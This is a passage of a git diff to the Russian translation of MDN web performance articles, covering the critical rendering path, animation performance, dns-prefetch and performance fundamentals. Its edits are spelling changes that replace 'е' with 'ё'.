стили, которые участвуют в создании CSS Object Model. Движок браузера комбинирует эти две объектные модели, чтобы создать дерево рендера (render tree). Компоновка (layout) определяет размеры и позицию каждого элемента на странице. Как только компоновка определена - пиксели отрисовываются на экране.</p> <p>Оптимизация критических этапов рендеринга улучшает время до первого рендера. Понимание и оптимизация этих этапов чрезвычайно важны для того, чтобы рендерить приложение с нужной частотой кадров (60 кадров в секунду, fps) и предоставить пользователю удобный, плавный интерфейс.</p> @@ -15,21 +15,21 @@ translation_of: Web/Performance/Critical_rendering_path <p>Производительность Web-приложений включает в себя запросы к серверу, получение ответов, загрузку, парсинг и выполнение скриптов, рендеринг, компоновку и отрисовку пикселей. </p> -<p>Загрузка веб-страницы или приложения начинается с запроса HTML. Сервер возвращает HTML заголовке (headers) и некоторые данные. Браузер начинает парсить полученный ответ HTML, преобразуя полученные байты в DOM-дерево. Браузер создает новый запрос каждый раз, когда он находит ссылки на внешние ресурсы, будь то файлы стилей, скриптов или ссылки на изображения. Некоторые запросы являются блокирующими. Это означает, что пока такие запросы выполняются - другие запросы приостанавливается. Браузер продолжает парсить HTML и создавать DOM до тех пор, пока запрос на получение HTML не подходит к концу. После завершения парсинга DOM, браузер конструирует CSS модель. Как только эти модели сформированы, браузер строит дерево рендера (render tree), в котором вычисляет стили для каждого видимого элемента страницы. После формирования дерева происходит компоновка (layout), которая определяет положение и размеры элементов этого дерева. Как только этап завершён - страница рендерится. Или "отрисовывается" (paint) на экране.</p> +<p>Загрузка веб-страницы или приложения начинается с запроса HTML. Сервер возвращает HTML заголовке (headers) и некоторые данные. Браузер начинает парсить полученный ответ HTML, преобразуя полученные байты в DOM-дерево. Браузер создаёт новый запрос каждый раз, когда он находит ссылки на внешние ресурсы, будь то файлы стилей, скриптов или ссылки на изображения. Некоторые запросы являются блокирующими. Это означает, что пока такие запросы выполняются - другие запросы приостанавливается. Браузер продолжает парсить HTML и создавать DOM до тех пор, пока запрос на получение HTML не подходит к концу. После завершения парсинга DOM, браузер конструирует CSS модель. Как только эти модели сформированы, браузер строит дерево рендера (render tree), в котором вычисляет стили для каждого видимого элемента страницы. После формирования дерева происходит компоновка (layout), которая определяет положение и размеры элементов этого дерева. Как только этап завершён - страница рендерится. Или "отрисовывается" (paint) на экране.</p> <h3 id="Document_Object_Model">Document Object Model</h3> <p>Построение DOM инкрементально. Ответ в виде HTML превращается в токены, которые превращаются в узлы (nodes), которые формируют DOM дерево. Простейший узел начинается с startTag-токена и заканчивается токеном endTag. Узлы содержат всю необходимую информацию об HTML элементе, соответствующем этому узлу. Узлы (nodes) связаны с Render Tree с помощью иерархии токенов: если какой-то набор startTag и endTag-токенов появляется между уже существующим набором токенов, мы получаем узел (node) внутри узла (node), то есть получаем иерархию дерева DOM.</p> -<p>Чем больше количество узлов (node) имеет приложение, тем дольше происходит формирование DOM tree, а значит дольше происходит обработка критических этапов рендеринга. Измеряйте! Несколько лишних узлов (node) не сделают погоды, но <a href="https://en.wiktionary.org/wiki/divitis">divitis</a> обязательно приведет к подвисаниям.</p> +<p>Чем больше количество узлов (node) имеет приложение, тем дольше происходит формирование DOM tree, а значит дольше происходит обработка критических этапов рендеринга. Измеряйте! Несколько лишних узлов (node) не сделают погоды, но <a href="https://en.wiktionary.org/wiki/divitis">divitis</a> обязательно приведёт к подвисаниям.</p> <h3 id="CSS_Object_Model">CSS Object Model</h3> -<p>DOM несет в себе всё содержимое страницы. CSSOM содержит все стили страницы, то есть данные о том, как стилизовать DOM. CSSOM похож на DOM, но всё же отличается. Если формирование DOM инкрементально, CSSOM - нет. CSS блокирует рендер: браузер блокирует рендеринг страницы до тех пор, пока не получит и не обработает все CSS-правила. CSS блокирует рендеринг, потому что правила могут быть перезаписаны, а значит, необходимо дождаться построения CSSOM, чтобы убедиться в отсутствии дополнительных переопределений.</p> +<p>DOM несёт в себе всё содержимое страницы. CSSOM содержит все стили страницы, то есть данные о том, как стилизовать DOM. CSSOM похож на DOM, но всё же отличается. Если формирование DOM инкрементально, CSSOM - нет. CSS блокирует рендер: браузер блокирует рендеринг страницы до тех пор, пока не получит и не обработает все CSS-правила. CSS блокирует рендеринг, потому что правила могут быть перезаписаны, а значит, необходимо дождаться построения CSSOM, чтобы убедиться в отсутствии дополнительных переопределений.</p> -<p>У CSS имеются свои правила валидации токенов. Помните, что C в CSS означает "Cascade". CSS правила ниспадают каскадом. Иными словами, когда парсер преобразует токены в узлы (nodes), вложенные узлы наследуют стили от родительских. Инкрементальная обработка недоступна для CSS, потому что набор следующих правил может перезаписать предыдущие. Объектная модель CSS (CSSOM) строится по мере парсинга CSS, но она не может быть использована для построения дерева рендера (render tree), потому что может оказаться так, что следующий набор правил может сделать какой-либо из узлов дерева невидимым на экране. Это может привести к лишнему вызову компоновки и перерасчета стилей.</p> +<p>У CSS имеются свои правила валидации токенов. Помните, что C в CSS означает "Cascade". CSS правила ниспадают каскадом. Иными словами, когда парсер преобразует токены в узлы (nodes), вложенные узлы наследуют стили от родительских. Инкрементальная обработка недоступна для CSS, потому что набор следующих правил может перезаписать предыдущие. Объектная модель CSS (CSSOM) строится по мере парсинга CSS, но она не может быть использована для построения дерева рендера (render tree), потому что может оказаться так, что следующий набор правил может сделать какой-либо из узлов дерева невидимым на экране. Это может привести к лишнему вызову компоновки и перерасчёта стилей.</p> -<p>Говоря о производительности селекторов (selector), наименее специфичные селекторы срабатывают быстрее. Например, <code>.foo {}</code> сработает быстрее <code>.bar .foo {}</code>. В первом случае, условно, понадобится одна операция, чтобы найти элемент <code>.foo</code>, во втором случае, сначала будут найдены все <code>.foo</code>, а<strong> </strong>потом<strong> браузер пройдет вверх</strong> по дереву в поисках родительского элемента <code>.bar</code>. Более специфичные селекторы требуют от браузера большего количества работы, но эти проблемы, вероятно, не стоят их оптимизации.</p> +<p>Говоря о производительности селекторов (selector), наименее специфичные селекторы срабатывают быстрее. Например, <code>.foo {}</code> сработает быстрее <code>.bar .foo {}</code>. В первом случае, условно, понадобится одна операция, чтобы найти элемент <code>.foo</code>, во втором случае, сначала будут найдены все <code>.foo</code>, а<strong> </strong>потом<strong> браузер пройдёт вверх</strong> по дереву в поисках родительского элемента <code>.bar</code>. Более специфичные селекторы требуют от браузера большего количества работы, но эти проблемы, вероятно, не стоят их оптимизации.</p> <p>Если вы измерите время, требуемое на парсинг CSS, вы будете удивлены тем, как быстро работают браузеры. Более специфичные правила более затратны, потому что требуют обхода большего числа узлов в DOM дереве, но эта дороговизна обходится довольно дёшево, особенно в сравнении с другими узкими местами производительности. <u>Сначала измеряйте. Потом оптимизируйте, если это действительно необходимо.</u> Вероятно, специфичность селекторов не то, что действительно затормаживает ваше приложение. Когда дело доходит до оптимизации CSS, улучшение производительность селекторов ускоряет рендеринг лишь на микросекунды. Существуют другие <a href="/en-US/docs/Learn/Performance/CSS_performance">пути оптимизации CSS</a>, такие как унификация, разделение CSS-файлов на разные файлы на основе media-queries.</p> @@ -43,17 +43,17 @@ translation_of: Web/Performance/Critical_rendering_path <p>В тот момент, когда дерево рендера (render tree) построено, становится возможным этап компоновки (layout). Компоновка зависит от размеров экрана. Этот этап определяет, где и как на странице будут спозиционированы элементы и каковы связи между элементами.</p> -<p>Что насчет ширины элемента? Блочные элемент по определению имеют ширину в 100% от ширины их родителя. Элемент с шириной в 50% будет иметь ширину в два раза меньше родительской. Если не указано иного, элемент body имеет ширину 100%, то есть 100% ширины родителя - видимой области viewport (окна документа).</p> +<p>Что насчёт ширины элемента? Блочные элемент по определению имеют ширину в 100% от ширины их родителя. Элемент с шириной в 50% будет иметь ширину в два раза меньше родительской. Если не указано иного, элемент body имеет ширину 100%, то есть 100% ширины родителя - видимой области viewport (окна документа).</p> <p>Мета тэг viewport, который вы можете указать в Head страницы, определяет ширину видимой области и влияет на компоновку. Без этого тэга браузеры используют ширину "по умолчанию", которая обычно составляет 960px. В браузерах, открывающихся по умолчанию в полноэкранном режиме, например, в браузере телефона, установка тега <code><meta name="viewport" content="width=device-width"></code> установит ширину видимой области в 100% от ширины экрана устройства, вместо того, чтобы использовать ширину по умолчанию. Эта ширина (<code>device-width)</code> изменяется каждый раз, когда пользователь поворачивает телефон. Это приводит к запуску этапа компоновки. Равно как и при изменении размеров окна в обычном браузере.</p> -<p>На производительность компоновки (layout) непосредственно влияет DOM - чем больше узлов (nodes) в вашем документе, тем больше времени понадобится на перерасчет позиций и размеров всех элементов. Компоновка может стать узким местом, ведущим к зависаниям, особенно если выполняет одновременно со скроллом или другой анимацией. И хотя задержка 20мс при загрузке или переориентации экрана может быть приемлемой, это все равно может привести к подвисаниям при анимации и скролле. Каждый раз, когда дерево рендера (render tree) модифицируется, например, из-за добавления узла (node), его модификации или при изменении стилей box-модели, запускается компоновка.</p> +<p>На производительность компоновки (layout) непосредственно влияет DOM - чем больше узлов (nodes) в вашем документе, тем больше времени понадобится на перерасчёт позиций и размеров всех элементов. Компоновка может стать узким местом, ведущим к зависаниям, особенно если выполняет одновременно со скроллом или другой анимацией. И хотя задержка 20мс при загрузке или переориентации экрана может быть приемлемой, это все равно может привести к подвисаниям при анимации и скролле. Каждый раз, когда дерево рендера (render tree) модифицируется, например, из-за добавления узла (node), его модификации или при изменении стилей box-модели, запускается компоновка.</p> <p>Для уменьшения частоты и продолжительности этого этапа, группируйте обновления экрана и избегайте анимации свойств, связанных с box-моделью элементов.</p> <h3 id="Отрисовка_Paint">Отрисовка (Paint)</h3> -<p>Последний этап в нашем списке - отрисовка (paint) пикселей на экране. Когда дерево рендера (render tree) создано, компоновка (layout) произошла, пиксели могут быть отрисованы. При первичной загрузке документа (onload) весь экран будет отрисован. После этого только необходимые к обновлению части экрана будут перерисовываться, так как браузер старается оптимизировать процесс отрисовки, избегая ненужной работы. Так, если у вас в документе есть два элемента, перерисовываться будет только тот, который вы изменили. Время отрисовки зависит от того, какой тип обновления применился к дереву рендера (render tree). И хотя отрисовка - это очень быстрый процесс, и он, вероятно, слабо влияет на производительность, очень важно помнить, что оба этапа - компоновка (layout) и отрисовка (paint) должны работать сообща и укладываться в частоту обновления кадров. Каждое CSS-свойство, применяемое к любому узлу (node) увеличивает время отрисовки, но полное удаление стиля, способное сэкономить вам 0.001мс, вряд ли даст вам желаемый результат, но зато с легкостью ухудшит пользовательский опыт. <strong>Помните - сначала нужно измерять, а потом оптимизировать только необходимое!</strong></p> +<p>Последний этап в нашем списке - отрисовка (paint) пикселей на экране. Когда дерево рендера (render tree) создано, компоновка (layout) произошла, пиксели могут быть отрисованы. При первичной загрузке документа (onload) весь экран будет отрисован. После этого только необходимые к обновлению части экрана будут перерисовываться, так как браузер старается оптимизировать процесс отрисовки, избегая ненужной работы. Так, если у вас в документе есть два элемента, перерисовываться будет только тот, который вы изменили. Время отрисовки зависит от того, какой тип обновления применился к дереву рендера (render tree). И хотя отрисовка - это очень быстрый процесс, и он, вероятно, слабо влияет на производительность, очень важно помнить, что оба этапа - компоновка (layout) и отрисовка (paint) должны работать сообща и укладываться в частоту обновления кадров. Каждое CSS-свойство, применяемое к любому узлу (node) увеличивает время отрисовки, но полное удаление стиля, способное сэкономить вам 0.001мс, вряд ли даст вам желаемый результат, но зато с лёгкостью ухудшит пользовательский опыт. <strong>Помните - сначала нужно измерять, а потом оптимизировать только необходимое!</strong></p> <h2 id="Оптимизация_CRP">Оптимизация CRP</h2> diff --git a/files/ru/web/performance/css_javascript_animation_performance/index.html b/files/ru/web/performance/css_javascript_animation_performance/index.html index b6dbb2bedf..8996f5f957 100644 --- a/files/ru/web/performance/css_javascript_animation_performance/index.html +++ b/files/ru/web/performance/css_javascript_animation_performance/index.html @@ -25,7 +25,7 @@ translation_of: Web/Performance/CSS_JavaScript_animation_performance <h2 id="requestAnimationFrame">requestAnimationFrame</h2> -<p>API {{domxref("Window.requestAnimationFrame","requestAnimationFrame()")}} предоставляет эффективный способ создания анимаций в JavaScript. Функция (callback), которую вы передаете в этот метод, будет вызываться перед каждой следующей отрисовкой нового фрейма. Главное отличие от {{domxref("WindowTimers.setTimeout","setTimeout()")}}/{{domxref("WindowTimers.setInterval","setInterval()")}} в том, что здесь вам не нужно указывать время, через которое функция запустится. <code>requestAnimationFrame()</code> работает гораздо эффективнее, учитывая частоту кадров и производительность системы. Разработчики могут создавать анимацию, просто изменяя стили элемента каждый раз, когда происходит подготовка нового кадра (или когда обновляется полотно Canvas или в других случаях).</p> +<p>API {{domxref("Window.requestAnimationFrame","requestAnimationFrame()")}} предоставляет эффективный способ создания анимаций в JavaScript. Функция (callback), которую вы передаёте в этот метод, будет вызываться перед каждой следующей отрисовкой нового фрейма. Главное отличие от {{domxref("WindowTimers.setTimeout","setTimeout()")}}/{{domxref("WindowTimers.setInterval","setInterval()")}} в том, что здесь вам не нужно указывать время, через которое функция запустится. <code>requestAnimationFrame()</code> работает гораздо эффективнее, учитывая частоту кадров и производительность системы. Разработчики могут создавать анимацию, просто изменяя стили элемента каждый раз, когда происходит подготовка нового кадра (или когда обновляется полотно Canvas или в других случаях).</p> <div class="note"> <p><strong>Заметка</strong>: Подобно CSS transition и animation, <code>requestAnimationFrame()</code> приостанавливает работу, когда текущий таб переводится в фоновый режим (например, при смене фокуса)</p> @@ -38,7 +38,7 @@ translation_of: Web/Performance/CSS_JavaScript_animation_performance <p>По факту, в большинстве случаев, производительность анимаций CSS практически идентична анимациям на JavaScript. По крайней мере в Firefox. Авторы некоторых JavaScript библиотек для анимации, например GSAP или Velocity.JS, даже берутся утверждать, что их решения могут работать быстрее, чем аналогичные решения на CSS. Такое возможно, потому что CSS transitions/animations просто заново вычисляют стили элементов в основном потоке процессора сразу перед тем, как срабатывает событие repaint, что примерно то же самое, что вычислять стили заново с помощью <code>requestAnimationFrame()</code>. Если обе анимации выполняются в одном потоке, то разницы в производительности не будет.</p> -<p>В следующей секции мы пройдемся по тестам производительности, используя Firefox, чтобы увидеть, какие методы анимации работают эффективнее.</p> +<p>В следующей секции мы пройдёмся по тестам производительности, используя Firefox, чтобы увидеть, какие методы анимации работают эффективнее.</p> <h3 id="Включение_измерения_частоты_кадров_FPS">Включение измерения частоты кадров FPS</h3> diff --git a/files/ru/web/performance/dns-prefetch/index.html b/files/ru/web/performance/dns-prefetch/index.html index d6575dcf2a..2db1d62980 100644 --- a/files/ru/web/performance/dns-prefetch/index.html +++ b/files/ru/web/performance/dns-prefetch/index.html @@ -13,7 +13,7 @@ translation_of: Web/Performance/dns-prefetch <p>Бывают случаи, когда в вашем приложении используются ссылки на домены, отличные от основного домена приложения. Например, внутри вашего приложения на "a.com" есть ссылка на домен "b.org". Для того, чтобы пройти по этой ссылке, пользовательский клиент должен сначала выяснить, какой адрес в интернете соответствует доменному имени "b.org". Этот процесс называется <code>DNS resolution.</code> И хотя механизмы кеширования DNS помогают сократить время запросов, DNS Resolution заметно влияет на время ожидания запроса из-за того, что первый клиентский запрос уходит сначала на DNS сервера и дожидается ответа от них. Для приложений, которые открывают соединения ко многим сторонним доменам, влияние DNS Resolution может сильно уменьшить производительность загрузки.</p> -<p><code>dns-prefetch</code> помогает разработчикам замаскировать ожидание DNS resolution. <a href="/en-US/docs/Web/HTML/Element/link">HTML <code><link></code> элемент</a> предлагает подобный функционал с помощью атрибута <a href="/en-US/docs/Web/HTML/Attributes/rel"><code>rel</code></a>, значение которого может содержать <code>dns-prefetch</code>. В этом случае, предзагрузка DNS произойдет для домена, указанного в атрибуте <a href="/en-US/docs/Web/HTML/Attributes">href</a>:</p> +<p><code>dns-prefetch</code> помогает разработчикам замаскировать ожидание DNS resolution. <a href="/en-US/docs/Web/HTML/Element/link">HTML <code><link></code> элемент</a> предлагает подобный функционал с помощью атрибута <a href="/en-US/docs/Web/HTML/Attributes/rel"><code>rel</code></a>, значение которого может содержать <code>dns-prefetch</code>. В этом случае, предзагрузка DNS произойдёт для домена, указанного в атрибуте <a href="/en-US/docs/Web/HTML/Attributes">href</a>:</p> <h2 id="Синтаксис">Синтаксис</h2> @@ -44,7 +44,7 @@ translation_of: Web/Performance/dns-prefetch <pre class="brush: unix notranslate">Link: <https://fonts.gstatic.com/>; rel=dns-prefetch</pre> -<p><strong>В третьих, </strong> хорошей практикой считается использование <code>dns-prefetch</code> в паре с <code>preconnect</code>. В то время, как <code>dns-prefetch</code> срабатывает только при DNS поиске, <code>preconnect</code> устанавливает соединение к нужному серверу. Этот процесс включает в себя DNS resolution, установку TCP соединения и установление безопасного соединения (<a href="/en-US/docs/Glossary/TLS">TLS</a> рукопожатие), если оно доступно. Комбинирование этих двух инструкций дает возможность ещё больше сократить время ожидания для кросс-доменных запросов. Вы можете использовать их вместе таким образом:</p> +<p><strong>В третьих, </strong> хорошей практикой считается использование <code>dns-prefetch</code> в паре с <code>preconnect</code>. В то время, как <code>dns-prefetch</code> срабатывает только при DNS поиске, <code>preconnect</code> устанавливает соединение к нужному серверу. Этот процесс включает в себя DNS resolution, установку TCP соединения и установление безопасного соединения (<a href="/en-US/docs/Glossary/TLS">TLS</a> рукопожатие), если оно доступно. Комбинирование этих двух инструкций даёт возможность ещё больше сократить время ожидания для кросс-доменных запросов. Вы можете использовать их вместе таким образом:</p> <pre class="brush: html notranslate"><link rel="preconnect" href="https://fonts.gstatic.com/" crossorigin> <link rel="dns-prefetch" href="https://fonts.gstatic.com/"> diff --git a/files/ru/web/performance/fundamentals/index.html b/files/ru/web/performance/fundamentals/index.html index b7e7d891c0..704ebee8a2 100644 --- a/files/ru/web/performance/fundamentals/index.html +++ b/files/ru/web/performance/fundamentals/index.html @@ -19,7 +19,7 @@ original_slug: Web/Performance/Основы <p>Ощущаемая пользователем "производительность" - это единственная производительность, которая имеет значение. Пользователи взаимодействуют с системой с помощью ввода каких-то данных: прикосновений, движения и речи. В ответ, они получают реакцию, основанную на зрительном, тактильном или слуховом аппаратах. Производительность - это качество того, как система реагирует на действия пользователя.</p> -<p>При прочих равных, код, оптимизированный для каких-то иных целей, кроме ощущаемой пользователем производительности (здесь и дальше UPP, user-perceived performance) всегда проигрывает коду, который оптимизирован для UPP. Упрощенно говоря, пользователи предпочитают отзывчивое и плавное приложение, которое обрабатывает 1,000 транзакций к базе данных в секунду грубому неотзывчивому приложению, которое обрабатывает 100,000,000 запросов в секунду. Конечно, это не означает, что другие метрики становятся ненужным, но первой вашей целью должна быть UPP.</p> +<p>При прочих равных, код, оптимизированный для каких-то иных целей, кроме ощущаемой пользователем производительности (здесь и дальше UPP, user-perceived performance) всегда проигрывает коду, который оптимизирован для UPP. Упрощённо говоря, пользователи предпочитают отзывчивое и плавное приложение, которое обрабатывает 1,000 транзакций к базе данных в секунду грубому неотзывчивому приложению, которое обрабатывает 100,000,000 запросов в секунду. Конечно, это не означает, что другие метрики становятся ненужным, но первой вашей целью должна быть UPP.</p> <p>Следующие разделы укажут и объяснят некоторые метрики производительности:</p> @@ -55,7 +55,7 @@ original_slug: Web/Performance/Основы <p>Последний показатель, который нужно упомянуть - это потребление энергии. Подобно использованию памяти, пользователь чувствует потребление памяти опосредованно, отмечая время, через которое устройство начинает изменять воспринимаемую пользователем производительность (UPP). Для минимизации отрицательных эффектов использования энергии, мы должны делать систему экономной.</p> -<p>Для примера, вспомните, как работают мобильные устройства: вы можете включить режим энергосбережения, когда отключаются другие системы. Но есть и более жесткий режим, который включается автоматически, когда заряд уменьшается до 5% - система включает троттлинг процессора, замедляя выполнение всех инструкций.</p> +<p>Для примера, вспомните, как работают мобильные устройства: вы можете включить режим энергосбережения, когда отключаются другие системы. Но есть и более жёсткий режим, который включается автоматически, когда заряд уменьшается до 5% - система включает троттлинг процессора, замедляя выполнение всех инструкций.</p> <p>Всю оставшуюся часть статьи мы будем обсуждать производительность в свете этих показателей.</p> @@ -72,7 +72,7 @@ original_slug: Web/Performance/Основы <p>Элемент Холст (<code>canvas</code>) предоставляет прямой доступ к пиксельному буферу, где разработчик может рисовать.Это даёт разработчику возможность контролировать каждый пиксель во время рендеринга, точно контролировать частоту кадров; но тогда разработчик должен иметь в виду работу с большим количеством разрешений экранов и ориентаций; RTL языками и т.д. Разработчики, работающие напрямую с холстами, используют либо знакомое 2D API, либо API WebGL, достаточно "близкий к железу" и по большей части придерживающийся OpenGL ES 2.0.</p> <div class="note"> -<p><strong>Заметка: </strong>Firefox OS оптимизирована для работы с приложениями, основанными на Web технологиях: <a href="/en-US/docs/Web/HTML">HTML</a>, <a href="/en-US/docs/Web/CSS">CSS</a>, <a href="/en-US/docs/Web/JavaScript">JavaScript</a> и т.д. За исключением некоторых базовых служб операционной системы, весь код Firefox OS пришел из Web приложений и движка Gecko. Даже оконный менеджер операционной системы написан на HTML, CSS и JavaScript. В связи с тем, что ядро операционной системы написано на этих технологиях, было критически важно соблюсти производительность этих технологий. В Firefox OS не может быть какого-то "запасного выхода". И это очень полезно для разработчиков, потому что теперь сторонние приложения могут использовать все преимущества оптимизации операционной системы. Не существует какого-то "магического зелья производительности", доступного только для предустановленных приложений.</p> +<p><strong>Заметка: </strong>Firefox OS оптимизирована для работы с приложениями, основанными на Web технологиях: <a href="/en-US/docs/Web/HTML">HTML</a>, <a href="/en-US/docs/Web/CSS">CSS</a>, <a href="/en-US/docs/Web/JavaScript">JavaScript</a> и т.д. За исключением некоторых базовых служб операционной системы, весь код Firefox OS пришёл из Web приложений и движка Gecko. Даже оконный менеджер операционной системы написан на HTML, CSS и JavaScript. В связи с тем, что ядро операционной системы написано на этих технологиях, было критически важно соблюсти производительность этих технологий. В Firefox OS не может быть какого-то "запасного выхода". И это очень полезно для разработчиков, потому что теперь сторонние приложения могут использовать все преимущества оптимизации операционной системы. Не существует какого-то "магического зелья производительности", доступного только для предустановленных приложений.</p> <p>См. <a href="/en-US/docs/Archive/B2G_OS/Firefox_OS_apps/Performance/Firefox_OS_performance_testing">Тестирование производительности Firefox OS</a> для подробностей.</p> </div> @@ -81,7 +81,7 @@ original_slug: Web/Performance/Основы <p>Движок Gecko JavaScript поддерживает just-in-time (JIT) компиляцию. Благодаря этому, логика приложения выполняется примерно так же, как это происходит в других приложениях на виртуальных машинах - например, Java Virtual Machines - а в некоторых случаях эффективность этих приложений близка к "нативному коду".</p> -<p>Инструменты, необходимые для работы с HTML, CSS и Canvas оптимизированы несколькими путями. Например, композиция (этап, известный как Layout) в HTML/CSS и код, отвечающий за графику в Gecko, сделаны таким образом, чтобы уменьшить количество операций ревалидации и перерисовки для общих случаев (например, скроллинг); эти оптимизации включены "по умолчанию", поэтому разработчики пользуются ими бесплатно. Буферы пикселей, отрисованных как для Gecko "автоматически", так и для <code>canvas</code> "вручную", минимизируют количество копий, которые передаются в буфер кадров дисплея. Чтобы достичь этого, Gecko старается избегать создания промежуточных слоев (например, во многих других операционных системах создаются пиксельные фоновые буферы для каждого отдельного приложения), но взамен Gecko использует специальные участки памяти для хранения графических буферов. К этой памяти имеет прямой доступ железо, которое ответственно за формирование картинки. Сложные сцены рендерятся с использованием графического адаптера (видеокарты). А простые сцены, для экономии энергии, рендерятся специальным выделенным железом для композиции, в то время, как графический адаптер находится в режиме ожидания или выключен.</p> +<p>Инструменты, необходимые для работы с HTML, CSS и Canvas оптимизированы несколькими путями. Например, композиция (этап, известный как Layout) в HTML/CSS и код, отвечающий за графику в Gecko, сделаны таким образом, чтобы уменьшить количество операций ревалидации и перерисовки для общих случаев (например, скроллинг); эти оптимизации включены "по умолчанию", поэтому разработчики пользуются ими бесплатно. Буферы пикселей, отрисованных как для Gecko "автоматически", так и для <code>canvas</code> "вручную", минимизируют количество копий, которые передаются в буфер кадров дисплея. Чтобы достичь этого, Gecko старается избегать создания промежуточных слоёв (например, во многих других операционных системах создаются пиксельные фоновые буферы для каждого отдельного приложения), но взамен Gecko использует специальные участки памяти для хранения графических буферов. К этой памяти имеет прямой доступ железо, которое ответственно за формирование картинки. Сложные сцены рендерятся с использованием графического адаптера (видеокарты). А простые сцены, для экономии энергии, рендерятся специальным выделенным железом для композиции, в то время, как графический адаптер находится в режиме ожидания или выключен.</p> <p>Для продвинутых приложений полностью статичный контент скорее является исключением, чем правилом. Такие приложения используют динамический контент, анимируемый с помощью {{ cssxref("animation") }} и {{ cssxref ("transition") }}. Переходы и анимации особенно важны для приложений: разработчики могут использовать CSS для объявления сложного поведения с помощью простого высокоуровнего синтаксиса. С другой стороны, движок Gecko хорошо оптимизирован для того, чтобы рендерить такую анимацию эффективно. В целом, общепринятые анимации передаются к обработке системному компоновщику, который может отрендерить их в эффективном, энергосберегающем режиме. </p> @@ -123,7 +123,7 @@ original_slug: Web/Performance/Основы <p>Web-платформа очень динамична. JavaScript - это динамически типизированный язык, а Web разрешает загружать код, HTML, CSS, изображения и другие ресурсы динамически. Эти функции могут быть использованы для того, чтобы отложить загрузку ресурсов; чтобы сократить критический путь, подвинув загрузку лишнего контента на несколько моментов позже. Такой подход называется "ленивой загрузкой".</p> -<p>Другая проблема, которая может привести к ненужному простою - это ожидание ответа на запросы (например, запрос к базе данных). Чтобы избегать этой проблемы, приложение должно запрашивать данные как можно раньше, еще во время запуска программы. Тогда к моменту, когда данные понадобятся - они уже будут в системе и приложению не придется ждать.</p> +<p>Другая проблема, которая может привести к ненужному простою - это ожидание ответа на запросы (например, запрос к базе данных). Чтобы избегать этой проблемы, приложение должно запрашивать данные как можно раньше, ещё во время запуска программы. Тогда к моменту, когда данные понадобятся - они уже будут в системе и приложению не придётся ждать.</p> <div class="note"> <p><strong>Заметка: </strong>Для дополнительной информации об ускорении запуска ознакомьтесь с <a href="/en-US/Apps/Developing/Performance/Optimizing_startup_performance">Optimizing startup performance</a>.</p> @@ -133,7 +133,7 @@ original_slug: Web/Performance/Основы <h3 id="Частота_кадров_2">Частота кадров</h3> -<p>Первая важная вещь для высокой частоты кадров - это выбор правильного инструмента. Используйте HTML и CSS для создания контента, который будет в основном статическим, прокручиваемым и редко анимируемым. Используйте Canvas для создания высокодинамичного контента, например, игр, которые требуют серьезного контроля рендеринга и не нуждаются в темах.</p> +<p>Первая важная вещь для высокой частоты кадров - это выбор правильного инструмента. Используйте HTML и CSS для создания контента, который будет в основном статическим, прокручиваемым и редко анимируемым. Используйте Canvas для создания высокодинамичного контента, например, игр, которые требуют серьёзного контроля рендеринга и не нуждаются в темах.</p> <p>При отрисовывании контента в Canvas, разработчик должен сам позаботиться о достижении целей по частоте кадров, ведь он получает полный контроль над всем, что отрисовывается.</p> @@ -168,7 +168,7 @@ original_slug: Web/Performance/Основы <p>Вместо использования функции <code>animate()</code> какой-нибудь библиотеки, которая, вероятно, использует много плохих решений (например ({{domxref("window.setTimeout()")}} или анимирование top / left), используйте <a href="/en-US/docs/Web/Guide/CSS/Using_CSS_animations">CSS анимации</a>. Во многих случаях, вы можете использовать <a href="/en-US/docs/Web/Guide/CSS/Using_CSS_transitions">CSS Transitions</a>. Использование этих свойств поможет, так как браузер спроектирован так, чтобы оптимизировать эти эффекты и переносить часть вычислений на GPU, чтобы они работали плавно и с минимальным влиянием на процессор. Другое преимущество - вы можете определить эти анимации в CSS декларативным образом, а не в бизнес-логике приложения.</p> -<p>CSS анимации дают вам очень точный контроль эффектов, если вы используете <a href="/en-US/docs/Web/CSS/@keyframes">keyframes</a>. Более того, вы сможете отслеживать события, которые происходят во время анимации, так как основной поток обработки не блокируется. Вы можете с легкостью запускать анимации с помощью {{cssxref(":hover")}}, {{cssxref(":focus")}} или {{cssxref(":target")}}. Или динамически добавляя или удаляя классы элемента.</p> +<p>CSS анимации дают вам очень точный контроль эффектов, если вы используете <a href="/en-US/docs/Web/CSS/@keyframes">keyframes</a>. Более того, вы сможете отслеживать события, которые происходят во время анимации, так как основной поток обработки не блокируется. Вы можете с лёгкостью запускать анимации с помощью {{cssxref(":hover")}}, {{cssxref(":focus")}} или {{cssxref(":target")}}. Или динамически добавляя или удаляя классы элемента.</p> <p>Если вы хотите создавать анимации "на лету" или изменять их с помощью JavaScript, Джеймс Лонг написал простую библиотеку для этого - <a href="https://github.com/jlongster/css-animations.js/">CSS-animations.js</a>.</p> @@ -176,7 +176,7 @@ original_slug: Web/Performance/Основы <p>Вместо того, чтобы изменять абсолютное позиционирование и возиться с этой математикой вручную, используйте свойство {{cssxref("transform")}}, чтобы изменить позицию, масштаб и некоторые другие аспекты вашего контента. Именно так вы используете аппаратное ускорение. Браузер умеет передавать такие задачи графическому процессору, давая возможность ЦПУ заняться другими важными вещами.</p> -<p>К тому же, трансформация даёт возможности, которых в ином случае у вас не было бы. Вы не только можете манипулировать элементом в двумерном пространстве, но можете трансформировать его в 3D, изменять его наклон (скашивать, skew), поворачивать и др. Пол Айриш опубликовал статью <a href="https://paulirish.com/2012/why-moving-elements-with-translate-is-better-than-posabs-topleft/">in-depth analysis of the benefits of <code>translate()</code></a>, в которой проанализировал работу translate с точки зрения производительности. Используя translate/transform вы используете правильный декларативный инструмент и возлагаете ответственность за его оптимизацию на браузер. Вы так же получаете возможность с легкостью позиционировать элементы. Если вы будете использовать только <code>top</code> и <code>left</code>, вам придется написать некоторый дополнительный код, чтобы предусмотреть некоторые особенности такого позиционирования. И последний бонус - с Transform / Translate вы будете работать примерно так же, как работали бы с элементом <code>canvas</code>.</p> +<p>К тому же, трансформация даёт возможности, которых в ином случае у вас не было бы. Вы не только можете манипулировать элементом в двумерном пространстве, но можете трансформировать его в 3D, изменять его наклон (скашивать, skew), поворачивать и др. Пол Айриш опубликовал статью <a href="https://paulirish.com/2012/why-moving-elements-with-translate-is-better-than-posabs-topleft/">in-depth analysis of the benefits of <code>translate()</code></a>, в которой проанализировал работу translate с точки зрения производительности. Используя translate/transform вы используете правильный декларативный инструмент и возлагаете ответственность за его оптимизацию на браузер. Вы так же получаете возможность с лёгкостью позиционировать элементы. Если вы будете использовать только <code>top</code> и <code>left</code>, вам придётся написать некоторый дополнительный код, чтобы предусмотреть некоторые особенности такого позиционирования. И 